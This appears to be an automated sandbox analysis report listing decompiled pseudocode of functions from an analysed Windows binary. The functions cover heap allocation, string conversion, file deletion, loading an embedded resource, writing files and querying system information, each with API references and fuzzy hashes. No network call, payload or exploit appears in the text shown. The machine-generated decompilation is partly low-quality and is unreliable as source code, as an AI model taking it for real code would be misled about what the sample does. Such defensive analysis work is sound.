Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ChangeCloseFindFreeHeapNotification
String ID:
API String ID: 1642550653-0
Opcode ID: 1101ea52ee8bc232e257b11b4dfa0e022e50a41f92f453deb7857e88e1fe02c5
Instruction ID: 4b594e9f44d889535f58429decad5894e80191ff52abe98a3990b8650259e3e7
Opcode Fuzzy Hash: 1101ea52ee8bc232e257b11b4dfa0e022e50a41f92f453deb7857e88e1fe02c5
Instruction Fuzzy Hash: 45F08272505700ABC7222B99FC05F8BBB72EB91764F12893AF610210F8C7355861DB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040E080, Relevance: 3.0, APIs: 2, Instructions: 30
memoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040E080(void* __ecx, void** _a4, wchar_t* _a8) {
				int _v8;
				void* _t11;
				void* _t14;
				void* _t15;

				_push(__ecx);
				if(_a8 != 0) {
					_v8 = wcslen(_a8);
					_t14 =  *0x417720; // 0x630000
					_t15 = RtlAllocateHeap(_t14, 0, _v8 + _v8 + 0xa); // executed
					 *_a4 = _t15;
					return E0040E300(_a4,  *_a4, _a8, _v8);
				}
				return _t11;
			}

0x0040e083
0x0040e088
0x0040e096
0x0040e0a3
0x0040e0a9
0x0040e0b2
0x00000000
0x0040e0c2
0x0040e0ca

APIs

wcslen.MSVCRT ref: 0040E08E
RtlAllocateHeap.NTDLL(00630000,00000000,?,?,00000000,00000000), ref: 0040E0A9

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapwcslen
String ID:
API String ID: 1345907364-0
Opcode ID: bd3817357f8dc300cfda1f4fd49e484fb32d964938a6f4784871a1af5a5f73de
Instruction ID: e6fe68c807464946a1ef8a296932015239fd020affbeb5486113503193b7cc98
Opcode Fuzzy Hash: bd3817357f8dc300cfda1f4fd49e484fb32d964938a6f4784871a1af5a5f73de
Instruction Fuzzy Hash: 76F05EB5600208FFCB00DFA5D844E9A77B9EB88718F10C46DF9188B380D675EA01CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040A759, Relevance: 3.0, APIs: 2, Instructions: 12
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A759(WCHAR* _a4, signed char _a8) {
				int _t8;

				if(_a4 == 0) {
					return 0;
				}
				if((_a8 & 0x00000002) != 0) {
					SetFileAttributesW(_a4, 0x80);
				}
				_t8 = DeleteFileW(_a4); // executed
				return _t8;
			}

0x0040a75e
0x00000000
0x0040a782
0x0040a765
0x0040a770
0x0040a770
0x0040a77a
0x00000000

APIs

SetFileAttributesW.KERNEL32(00000002,00000080,0040A792,00638AF0,00000000,00401FDF,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000,00000000), ref: 0040A770
DeleteFileW.KERNELBASE(00000000,0040A792,00638AF0,00000000,00401FDF,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000,00000000,00000002), ref: 0040A77A

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AttributesDelete
String ID:
API String ID: 2910425767-0
Opcode ID: d20dcc2b1ea866854d894abaed1435a963998bb33ced13a9451e631658276eaf
Instruction ID: 32816558c3505e2600197b6aa1c8e1867431839d95d1f98e5f62e5383a3a81ae
Opcode Fuzzy Hash: d20dcc2b1ea866854d894abaed1435a963998bb33ced13a9451e631658276eaf
Instruction Fuzzy Hash: ECD06730148301A6D2555B20D90D79A7AB16B80786F15C829B485510F5C778C865E60B

Uniqueness

Uniqueness Score: -1.00%

Function 0040DDD0, Relevance: 3.0, APIs: 2, Instructions: 12
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DDD0() {
				void* _t1;
				void* _t4;

				_t1 = HeapCreate(0, 0x1000, 0); // executed
				 *0x417720 = _t1;
				 *0x416170 = TlsAlloc();
				return E0040E600(_t4);
			}

0x0040dddc
0x0040dde2
0x0040dded
0x0040ddf8

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00401053,00000000,00001000,00000000,00000000), ref: 0040DDDC
TlsAlloc.KERNEL32(?,00401053,00000000,00001000,00000000,00000000), ref: 0040DDE7

Part of subcall function 0040E600: HeapAlloc.KERNEL32(00630000,00000000,0000000C,?,?,0040DDF7,?,00401053,00000000,00001000,00000000,00000000), ref: 0040E60E
Part of subcall function 0040E600: HeapAlloc.KERNEL32(00630000,00000000,00000010,?,?,0040DDF7,?,00401053,00000000,00001000,00000000,00000000), ref: 0040E622
Part of subcall function 0040E600: TlsSetValue.KERNEL32(0000001B,00000000,?,?,0040DDF7,?,00401053,00000000,00001000,00000000,00000000), ref: 0040E64B

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocHeap$CreateValue
String ID:
API String ID: 493873155-0
Opcode ID: 4e641117bd55311371697391a61bc67f1fb8624d6db014dbb9304ac05d49361e
Instruction ID: 18e5a0edc7d50c2b567692700943758183887443e0587578baab4a09ae3a6d99
Opcode Fuzzy Hash: 4e641117bd55311371697391a61bc67f1fb8624d6db014dbb9304ac05d49361e
Instruction Fuzzy Hash: C9D0127454430467D6002FB1BC0E7843B68B708B46F514C35F619962D1DBB5A000C51C

Uniqueness

Uniqueness Score: -1.00%

Function 00409C50, Relevance: 2.6, APIs: 2, Instructions: 113
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409C50() {
				short* _t24;
				signed int _t25;
				char _t26;
				signed int _t31;
				char _t32;
				signed int _t36;
				char* _t38;
				signed int _t41;
				int _t42;
				signed char _t45;
				char* _t46;
				short* _t47;
				char* _t48;
				void* _t49;
				char* _t50;
				signed int _t51;
				signed int* _t52;
				int _t54;
				char* _t56;
				void* _t57;

				_t45 =  *(_t57 + 0xc);
				_t41 = _t45 & 0x0000001f;
				_t36 = (0 |  *(_t57 + 0xc) - 0xffffffff < 0x00000000) - 0x00000001 &  *(_t57 + 0x10);
				if(_t41 != 0x19) {
					_t50 =  *(_t57 + 0x10);
					if(_t41 != 2) {
						_t42 = 0;
						 *(_t57 + 0x1c) = 0;
						goto L16;
					} else {
						_t42 = 0xfde9;
						 *(_t57 + 0x1c) = 0xfde9;
						if(_t36 == 0xffffffff) {
							L17:
							_t56 = _t50;
							_t15 =  &(_t56[1]); // 0x1
							_t46 = _t15;
							do {
								_t26 =  *_t56;
								_t56 =  &(_t56[1]);
							} while (_t26 != 0);
							_t54 = _t56 - _t46;
						} else {
							if((_t45 & 0x00000040) == 0) {
								_t36 = E0040E380(_t50, _t36);
								_t42 = 0xfde9;
							}
							L16:
							if(_t36 != 0xffffffff) {
								_t54 = 0;
								if( *_t50 != 0) {
									while(_t54 < _t36) {
										_t54 = _t54 + 1;
										if(_t50[_t54] != 0) {
											continue;
										}
										goto L23;
									}
								}
							} else {
								goto L17;
							}
						}
					}
					L23:
					_t51 = MultiByteToWideChar(_t42, 0, _t50, _t54, 0, 0);
					_t24 = E0040E200(_t51,  *(_t57 + 0x20));
					_t18 = _t51 + 1; // 0x1
					_t47 = _t24;
					_t25 = MultiByteToWideChar( *(_t57 + 0x30), 0,  *(_t57 + 0x20), _t54, _t47, _t18);
					_t47[_t25] = 0;
					return _t25;
				} else {
					_t48 =  *(_t57 + 0x10);
					if(_t36 == 0xffffffff) {
						_t38 = _t48;
						_t7 =  &(_t38[2]); // 0x2
						_t41 = _t7;
						do {
							_t32 =  *_t38;
							_t38 =  &(_t38[2]);
						} while (_t32 != 0);
						_t36 = _t38 - _t41 >> 1;
					}
					_t52 = E0040E200(_t36,  *(_t57 + 0x1c));
					if(_t48 != 0 && _t36 != 0) {
						_t49 = _t48 - _t52;
						while(1) {
							_t31 =  *(_t49 + _t52) & 0x0000ffff;
							if(_t31 == 0) {
								goto L10;
							}
							 *_t52 = _t31;
							_t52 =  &(_t52[0]);
							_t36 = _t36 - 1;
							if(_t36 != 0) {
								continue;
							}
							goto L10;
						}
					}
					L10:
					E0040E350(_t41, _t36);
					 *_t52 = 0;
					return 0;
				}
			}

0x00409c50
0x00409c59
0x00409c66
0x00409c6e
0x00409cc8
0x00409cd0
0x00409cf5
0x00409cf7
0x00000000
0x00409cd2
0x00409cd2
0x00409cd7
0x00409cde
0x00409d00
0x00409d00
0x00409d02
0x00409d02
0x00409d05
0x00409d05
0x00409d08
0x00409d09
0x00409d0d
0x00409ce0
0x00409ce3
0x00409cec
0x00409cee
0x00409cee
0x00409cfb
0x00409cfe
0x00409d11
0x00409d16
0x00409d18
0x00409d1c
0x00409d21
0x00000000
0x00000000
0x00000000
0x00409d21
0x00409d18
0x00000000
0x00000000
0x00000000
0x00409cfe
0x00409cde
0x00409d23
0x00409d38
0x00409d3b
0x00409d40
0x00409d43
0x00409d52
0x00409d57
0x00409d5e
0x00409c70
0x00409c70
0x00409c77
0x00409c79
0x00409c7b
0x00409c7b
0x00409c80
0x00409c80
0x00409c83
0x00409c86
0x00409c8d
0x00409c8d
0x00409c99
0x00409c9d
0x00409ca3
0x00409ca5
0x00409ca5
0x00409cac
0x00000000
0x00000000
0x00409cae
0x00409cb1
0x00409cb4
0x00409cb5
0x00000000
0x00000000
0x00000000
0x00409cb5
0x00409ca5
0x00409cb7
0x00409cb8
0x00409cc0
0x00409cc5
0x00409cc5

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,00403DA0,00000001,00000002,00000000,00000000,00000000), ref: 00409D32
MultiByteToWideChar.KERNEL32(00000001,00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,?,?,00000000,00403DA0,00000001,00000002,00000000), ref: 00409D52

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: ded35ef8177a699449b0a9e0f819a927324848394096db8b00e101be3edbd94a
Instruction ID: 509399d1d89157406f430097867b6a34ce68b627c2101458d9bbc9f3068303f2
Opcode Fuzzy Hash: ded35ef8177a699449b0a9e0f819a927324848394096db8b00e101be3edbd94a
Instruction Fuzzy Hash: 0A3137365083056AE7245E659C80BBBB699EFD0324F140A3FFAA6272C2D73D9C01D799

Uniqueness

Uniqueness Score: -1.00%

Function 00403CD7, Relevance: 1.6, APIs: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E00403CD7(intOrPtr _a12) {
				intOrPtr _v0;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				WCHAR* _v24;
				intOrPtr _v32;
				void* _t23;
				void* _t25;
				void* _t26;
				void* _t33;
				intOrPtr _t39;
				intOrPtr _t44;
				void* _t46;
				void* _t47;
				void* _t48;
				void* _t50;

				_push(0);
				_push(0);
				_push(0);
				_push(0);
				E004051A0(E0040DF60(), _a12);
				_t44 = _v0;
				_t43 = _t50;
				E00405060(_t50, _t44);
				_v20 = FindResourceW( *0x41704c, _v24, 0xa);
				_t52 = _v20;
				if(_v20 == 0) {
					L4:
					_push(_v8);
					_t23 = E0040DE20();
					_pop(_t46);
					E0040DFC0(_t46);
					_t25 = _t23;
					_t26 = E00405170();
					_t47 = _t25;
					_t27 = _t26 + _t47;
				} else {
					_v20 = E004026B8(_t52,  *0x41704c, _v16);
					 *0x417018 = E004046EF(_v20);
					_push( *0x417040);
					_push( *0x417018);
					_push(_v24);
					E004011DE();
					if(_v16 != 1) {
						_t33 = E0040DE20();
						_t48 = _t44;
						_push(_t33);
						_push(_t48);
						_push(E0040DE20());
						_push(2);
						_push( *0x417018);
						E00409C50();
						E0040DE60( &_v20, _v8); // executed
						E00409B20(_v32);
						goto L4;
					} else {
						_t39 =  *0x417018; // 0x14774
						asm("cdq");
						E004046FF( *0x417058, _v8, _t39, _t44);
						E00409B20(_v24);
						 *((short*)(E0040E050(_t43))) = 0;
					}
				}
				return E0040DEF0(E0040DEF0(_t27, _v20), _v12);
			}

0x00403cda
0x00403cdb
0x00403cdc
0x00403cdd
0x00403ce7
0x00403cec
0x00403cf0
0x00403cf3
0x00403d0c
0x00403d10
0x00403d15
0x00403db3
0x00403db7
0x00403db8
0x00403dbd
0x00403dc0
0x00403dc5
0x00403dc7
0x00403dcc
0x00403dcd
0x00403d1b
0x00403d2a
0x00403d37
0x00403d3c
0x00403d42
0x00403d48
0x00403d4c
0x00403d58
0x00403d7d
0x00403d82
0x00403d83
0x00403d84
0x00403d8b
0x00403d8c
0x00403d91
0x00403d9b
0x00403da5
0x00403dae
0x00000000
0x00403d5a
0x00403d5a
0x00403d5f
0x00403d6c
0x00403d75
0x00403dd6
0x00403dd6
0x00403d58
0x00403df0

APIs

Part of subcall function 0040DF60: TlsGetValue.KERNEL32(0000001B,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004,00000000,0041606C,00000008,0000000C), ref: 0040DF77

FindResourceW.KERNEL32(00000000,0000000A,00000000,00000000,00000000,00000000,00000000,-00000004,00403A61,00000000,00000001,00000000,00000000,00000001,00000003,00000000), ref: 00403D07

Part of subcall function 004026B8: LoadResource.KERNEL32(00000000,00000000,00000000,00000000,00402EE4,00000000,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,0040439A,00000000), ref: 004026C9
Part of subcall function 004026B8: SizeofResource.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00402EE4,00000000,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004026D9
Part of subcall function 004026B8: FreeResource.KERNEL32(?,00638AF0,00638AF0,00000000,00000000,00000000,00000000,00000000,00000000,00402EE4,00000000,00000000,0000000A,00000000,00000000,00000000), ref: 00402708

Part of subcall function 00409B20: RtlFreeHeap.NTDLL(00000000,00000000,00401B6B,00000000,00000000,?,00000000,00000000,00416020,00000000,00000000,?,00000000,?,00000000,00000000), ref: 00409B2C

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$Free$FindHeapLoadSizeofValue
String ID:
API String ID: 1318832031-0
Opcode ID: 35ce82e2706635a68a732cd306e979e6e52e77f1a82dac9423cfe5e1d785a1ed
Instruction ID: 4298e2b6035d3f31470d0f6d8007beb06716816c4946a8cce3f918c3b5440572
Opcode Fuzzy Hash: 35ce82e2706635a68a732cd306e979e6e52e77f1a82dac9423cfe5e1d785a1ed
Instruction Fuzzy Hash: AF210671508301AED601BFA1DC41A6F7AAAEB84318F10883EB5446A0B2C73A9D55AB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00402BFA, Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00402BFA(void* __eflags, intOrPtr _a8) {
				intOrPtr _v0;
				intOrPtr _v8;
				WCHAR* _v16;
				WCHAR* _v20;
				char _v24;
				intOrPtr _v36;
				void* _t17;
				void* _t23;
				void* _t25;
				void* _t26;
				void* _t27;
				intOrPtr _t31;
				intOrPtr _t32;
				void* _t35;
				void* _t36;
				intOrPtr* _t37;

				_push(0);
				_push(0);
				_push(0);
				E004051A0(E0040DF60(), _a8);
				_t31 = _v0;
				E00405060(_t37, _t31);
				_v16 = E00409B40(0x2710);
				GetShortPathNameW(_v20, _v16, 0x2710); // executed
				_t17 = E0040DE20();
				_t32 = _t31;
				_push(_t17);
				E00409BB0(_v16, 0xffffffff, E0040DE20());
				E0040DE60( &_v24, _t32);
				E00409B20(_v36);
				_push(_v36);
				_t23 = E0040DE20();
				_pop(_t35);
				E0040DFC0(_t35);
				_t25 = _t23;
				_t26 = E00405170();
				_t36 = _t25;
				_t27 = _t26 + _t36;
				return E0040DEF0(E0040DEF0(_t27,  *_t37), _v8);
			}

0x00402bfc
0x00402bfd
0x00402bfe
0x00402c08
0x00402c0d
0x00402c14
0x00402c23
0x00402c34
0x00402c3a
0x00402c3f
0x00402c40
0x00402c52
0x00402c5c
0x00402c65
0x00402c6e
0x00402c6f
0x00402c74
0x00402c77
0x00402c7c
0x00402c7e
0x00402c83
0x00402c84
0x00402ca6

APIs

Part of subcall function 0040DF60: TlsGetValue.KERNEL32(0000001B,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004,00000000,0041606C,00000008,0000000C), ref: 0040DF77

Part of subcall function 00409B40: RtlAllocateHeap.NTDLL(00000008,00000000,00402F00,00000200,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,0040439A,00000000,00000000,00000000), ref: 00409B51

GetShortPathNameW.KERNEL32 ref: 00402C34

Part of subcall function 0040DE20: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE26
Part of subcall function 0040DE20: TlsGetValue.KERNEL32(0000001B), ref: 0040DE35
Part of subcall function 0040DE20: SetLastError.KERNEL32(?), ref: 0040DE4B

Part of subcall function 0040DE60: TlsGetValue.KERNEL32(0000001B,00000000,00000000), ref: 0040DE6C
Part of subcall function 0040DE60: RtlAllocateHeap.NTDLL(00630000,00000000,?), ref: 0040DE99

Part of subcall function 00409B20: RtlFreeHeap.NTDLL(00000000,00000000,00401B6B,00000000,00000000,?,00000000,00000000,00416020,00000000,00000000,?,00000000,?,00000000,00000000), ref: 00409B2C

Part of subcall function 0040DFC0: wcslen.MSVCRT ref: 0040DFD7

Part of subcall function 00405170: TlsGetValue.KERNEL32(?,?,00402FED,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000), ref: 00405178

Part of subcall function 0040DEF0: HeapFree.KERNEL32(00630000,00000000,00000000,?,00000000,?,00411AC4,00000000,00000000,-00000008), ref: 0040DF08

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: HeapValue$AllocateErrorFreeLast$NamePathShortwcslen
String ID:
API String ID: 192546213-0
Opcode ID: 49f9ea41b9916b6beaa403a6b7ca882e3139740148ba2b07ebcafa5c299e2020
Instruction ID: acf91f0b192621483340f6d99b68dad878881d8e8b7377b9fd1201c82249adf8
Opcode Fuzzy Hash: 49f9ea41b9916b6beaa403a6b7ca882e3139740148ba2b07ebcafa5c299e2020
Instruction Fuzzy Hash: E10140755086017AD5007BB1DD06D3F7669EFD0718F10C83FB444B90E2CA3C9C55AA5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040A9E0, Relevance: 1.5, APIs: 1, Instructions: 25
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A9E0(void** _a4) {
				long _v4;
				void** _t18;

				_t18 = _a4;
				_v4 = 0;
				if(_t18[5] != 0) {
					return 0;
				} else {
					WriteFile( *_t18, _t18[1], _t18[2] - _t18[3],  &_v4, 0); // executed
					_t18[3] = _t18[2];
					return _v4;
				}
			}

0x0040a9e2
0x0040a9e6
0x0040a9f2
0x0040aa20
0x0040a9f4
0x0040aa07
0x0040aa10
0x0040aa19
0x0040aa19

APIs

WriteFile.KERNELBASE(00000000,?,?,00000000,00000000,00000000,?,0040A9A8,00000000,00000000,?,?,004033E8,00000000,00000000,00000800), ref: 0040AA07

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 6b8f9e37b353b02e3b6cb8ff0ca601f404a0ed7efcad3d3714d276d4546e1b8c
Instruction ID: 14d3056ca1924aee99cb04667f0b380ac70d83ad29f9bf771d01894620e497e9
Opcode Fuzzy Hash: 6b8f9e37b353b02e3b6cb8ff0ca601f404a0ed7efcad3d3714d276d4546e1b8c
Instruction Fuzzy Hash: CBF09276105700AFD720DF58D948B87B7E8EB58721F10C82EE59AD2690C770E854DB55

Uniqueness

Uniqueness Score: -1.00%

Function 00402BC1, Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00402BC1() {
				void* _t3;
				void* _t4;
				short* _t6;

				_t4 = 9;
				do {
					_t6 = _t6 - 4;
					 *_t6 = 0;
					_t4 = _t4 - 1;
				} while (_t4 != 0);
				E0040DF60();
				_push(_t6); // executed
				L004050E2(); // executed
				if( *_t6 == 0) {
					_t3 = 0;
				} else {
					_t3 = 1;
				}
				return _t3;
			}

0x00402bc2
0x00402bc7
0x00402bc7
0x00402bca
0x00402bd1
0x00402bd1
0x00402bd4
0x00402bdc
0x00402bdd
0x00402bea
0x00402bf3
0x00402bec
0x00402bec
0x00402bec
0x00402bf9

APIs

GetNativeSystemInfo.KERNEL32(00000000,?,00000000,00000000), ref: 00402BDD

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 2444bb81d38c9911cb4f1a5182d85b53aad325570cca22d2bb76f9bc2955ed15
Instruction ID: 8a645f6298b96527a3a9e5c011dcec852996ed75ec820e929ccd6a5cacf3a2a4
Opcode Fuzzy Hash: 2444bb81d38c9911cb4f1a5182d85b53aad325570cca22d2bb76f9bc2955ed15
Instruction Fuzzy Hash: 5FD0126081824986D750BE75850979BB3ECE704304F60887AE085565C1F7FCE9D99657

Uniqueness

Uniqueness Score: -1.00%

Function 00409B40, Relevance: 1.5, APIs: 1, Instructions: 10
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409B40(long _a4) {
				long _t2;
				void* _t4;

				_t2 = _a4;
				if(_t2 <= 0) {
					return 0;
				} else {
					_t4 = RtlAllocateHeap( *0x417710, 8, _t2); // executed
					return _t4;
				}
			}

0x00409b40
0x00409b46
0x00409b5c
0x00409b48
0x00409b51
0x00409b57
0x00409b57

APIs

RtlAllocateHeap.NTDLL(00000008,00000000,00402F00,00000200,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,0040439A,00000000,00000000,00000000), ref: 00409B51

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 42056730f6e44905a5b02c626e95f603851e4ed678fa30f00f02d4f5107f6242
Instruction ID: 0e995b311a0039e38a6c1dd281e12789fe5386c316f45d3f47623ba04496a456
Opcode Fuzzy Hash: 42056730f6e44905a5b02c626e95f603851e4ed678fa30f00f02d4f5107f6242
Instruction Fuzzy Hash: 7FC04C713542007AD6519B24AE49F5776A9BB70B42F01C8357655E21A5DB30EC10D728

Uniqueness

Uniqueness Score: -1.00%

Function 00409AE0, Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409AE0() {
				void* _t1;

				_t1 = HeapCreate(0, 0x1000, 0); // executed
				 *0x417710 = _t1;
				return _t1;
			}

0x00409ae9
0x00409aef
0x00409af4

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,0040106C,00000000,00001000,00000000,00000000), ref: 00409AE9

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 32b04c5618a60dd8e1d20f587a5187d242f7e9eed40007270aac00d2dcc3d6b4
Instruction ID: 76b444b78102f1190b75b28dd56e974357e96cc3189ac6b4b6122ebffb005697
Opcode Fuzzy Hash: 32b04c5618a60dd8e1d20f587a5187d242f7e9eed40007270aac00d2dcc3d6b4
Instruction Fuzzy Hash: ACB0127038434056E2110B109C06B803520B304F83F104420F211581D4C7E02000C60C

Uniqueness

Uniqueness Score: -1.00%

Function 00409B20, Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409B20(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x417710, 0, _a4); // executed
				return _t2;
			}

0x00409b2c
0x00409b32

APIs

RtlFreeHeap.NTDLL(00000000,00000000,00401B6B,00000000,00000000,?,00000000,00000000,00416020,00000000,00000000,?,00000000,?,00000000,00000000), ref: 00409B2C

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
